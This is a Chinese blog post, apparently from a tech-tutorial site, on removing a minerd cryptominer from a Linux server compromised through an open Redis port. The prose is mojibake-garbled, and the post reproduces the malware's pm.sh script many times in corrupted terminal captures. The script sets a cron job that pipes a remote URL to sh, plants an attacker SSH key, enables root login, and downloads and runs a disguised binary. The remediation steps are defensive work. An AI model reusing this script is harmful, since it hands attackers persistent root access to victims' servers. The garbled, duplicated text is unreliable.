linux中了minerd之后的完全清理過(guò)程(詳解)
一不小心裝了一個(gè)Redis服務(wù),開(kāi)了一個(gè)全網(wǎng)的默認(rèn)端口,一開(kāi)始以為這臺(tái)服務(wù)器沒(méi)有公網(wǎng)ip,結(jié)果發(fā)現(xiàn)之后悔之莫及啊
某天發(fā)現(xiàn)cpu load高的出奇,發(fā)現(xiàn)一個(gè)minerd進(jìn)程 占了大量cpu,google了一下,發(fā)現(xiàn)自己中招了
下面就是清理過(guò)程
第一步
1.立即停止redis服務(wù),修改端口權(quán)限,增加密碼措施
2.按照網(wǎng)上的資料 刪除 crontab 里的兩個(gè)內(nèi)容
sudo rm /var/spool/cron/root
sudo rm /var/spool/cron/crontabs/root
3.知己知彼,百戰(zhàn)不殆,研究病毒的初始話文件
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart "pm.sh" 28L, 1470C 10,1-8 頂端 export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spooll /cron/root mkdir -p /var/spool/cron/crontabs echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spooll /cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITT shREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZZ 7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kvv 9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1yy 993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK755 NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart 10,1-8 頂端 export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/rr oot mkdir -p /var/spool/cron/crontabs echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/cc rontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOcc 9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLL Kn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm88 gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBrr o4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart fi if [ ! -f "/etc/init.d/ntp" ]; then 10,1-8 頂端 export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/roo ot if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yWW 8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQQ V8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXX mVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root"" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart fi if [ ! -f "/etc/init.d/ntp" ]; then if [ ! -f "/etc/systemd/system/ntp.service" ]; then mkdir -p /opt @ 10,1-8 頂端 export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/AA g1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txLL 6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNyy tbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart fi if [ ! -f "/etc/init.d/ntp" ]; then if [ ! -f "/etc/systemd/system/ntp.service" ]; then mkdir -p /opt curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK77 5NEOiq33 && /opt/KHK75NEOiq33 -Install fi fi 10,1-8 頂端 export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TT dRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6ww L4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdd Y7vRnrvFav root" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart fi if [ ! -f "/etc/init.d/ntp" ]; then if [ ! -f "/etc/systemd/system/ntp.service" ]; then mkdir -p /opt curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opp t/KHK75NEOiq33 -Install fi fi /etc/init.d/ntp start ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9 10,1-8 頂端 export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYY pLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbb BXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart fi if [ ! -f "/etc/init.d/ntp" ]; then if [ ! -f "/etc/systemd/system/ntp.service" ]; then mkdir -p /opt curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Instaa ll fi fi /etc/init.d/ntp start ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9 ~ ~ ~ ~ ~ 10,1-8 全部 export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77 yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y999 3qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart fi if [ ! -f "/etc/init.d/ntp" ]; then if [ ! -f "/etc/systemd/system/ntp.service" ]; then mkdir -p /opt curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install fi fi /etc/init.d/ntp start ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
得到結(jié)果
1.刪除crontab的配置文件,如上我們已經(jīng)刪除,涉及的代碼
echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root
2.刪除 這個(gè)是用來(lái)免密碼登陸的
rm -f ~/.ssh/authorized_keys*
rm -f ~/.ssh/KHK75NEOiq
你甚至可以直接把.ssh這個(gè)目錄刪除掉
涉及的代碼
if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ77 yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y999 3qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart fi
3.刪除 /opt/這個(gè)目錄 這玩意是第四步的服務(wù)產(chǎn)生的
4.刪除服務(wù)
service ntp stop
rm /etc/init.d/ntp
rm /usr/sbin/ntp
涉及的代碼
if [ ! -f "/etc/init.d/ntp" ]; then if [ ! -f "/etc/systemd/system/ntp.service" ]; then mkdir -p /opt curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install fi fi
如上的代碼,下載了一個(gè)8M的程序,是安裝了什么東西,樓主也不知道,但是接下來(lái)的代碼暴露了行蹤
/etc/init.d/ntp start
這行代碼啟動(dòng)了ntp這個(gè)服務(wù),百度搜了下說(shuō)是個(gè)時(shí)間服務(wù),其實(shí)這玩意是病毒服務(wù),打開(kāi)這個(gè)文件,找到可執(zhí)行文件/usr/sbin/ntp 發(fā)現(xiàn)文件和那個(gè)8m的文件一個(gè)字節(jié)不差
所以刪除這個(gè)文件
最后
ps aux|grep minerd
kill 掉所有的進(jìn)程,ok修復(fù)結(jié)束
半小時(shí)之后
ps aux|grep minerd
minerd進(jìn)程不再出現(xiàn)
以上就是小編為大家?guī)?lái)的linux中了minerd之后的完全清理過(guò)程(詳解)全部?jī)?nèi)容了,希望大家多多支持腳本之家~
相關(guān)文章
Linux中利用Vim對(duì)文件進(jìn)行密碼保護(hù)的方法詳解
這篇文章主要給大家介紹了在Linux中利用Vim對(duì)文件進(jìn)行密碼保護(hù)的相關(guān)資料,文中介紹的非常詳細(xì),對(duì)大家具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面來(lái)一起看看吧。2017-06-06Linux刪除文件提示Operation not permitted的處理辦法
今天小編就為大家分享一篇關(guān)于Linux刪除文件提示Operation not permitted的處理辦法,小編覺(jué)得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來(lái)看看吧2019-03-03linux下安裝openssl、swoole等擴(kuò)展的詳細(xì)步驟
本文給大家詳細(xì)介紹了linux下安裝openssl、swoole等擴(kuò)展的,本文涉及到編譯安裝和yum安裝的知識(shí)點(diǎn),本文給大家介紹的非常詳細(xì),感興趣的朋友一起看看吧2016-10-10apache啟動(dòng)報(bào)錯(cuò):httpd: apr_sockaddr_info_get() failed
httpd: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName2013-02-02arm linux利用alsa驅(qū)動(dòng)并使用usb音頻設(shè)備
這篇文章主要介紹了arm linux利用alsa驅(qū)動(dòng)并使用usb音頻設(shè)備的相關(guān)資料,需要的朋友可以參考下2017-10-10Ubuntu系統(tǒng)端口查詢與管理的詳細(xì)分析
事情起因是寶塔的CPU負(fù)載過(guò)大,重啟服務(wù)進(jìn)程之后還是爆,后續(xù)發(fā)現(xiàn)是端口被占用,導(dǎo)致服務(wù)重啟不起來(lái),所以本文給大家介紹了Ubuntu系統(tǒng)端口查詢與管理的詳細(xì)分析,需要的朋友可以參考下2024-11-11Apache網(wǎng)頁(yè)的優(yōu)化、安全與防盜鏈圖文詳解
防盜鏈就是防止別人的網(wǎng)站代碼里面盜用服務(wù)器的圖片、文件、視頻等相關(guān)資源,下面這篇文章主要給大家介紹了關(guān)于Apache網(wǎng)頁(yè)的優(yōu)化、安全與防盜鏈的相關(guān)資料,需要的朋友可以參考下2022-10-10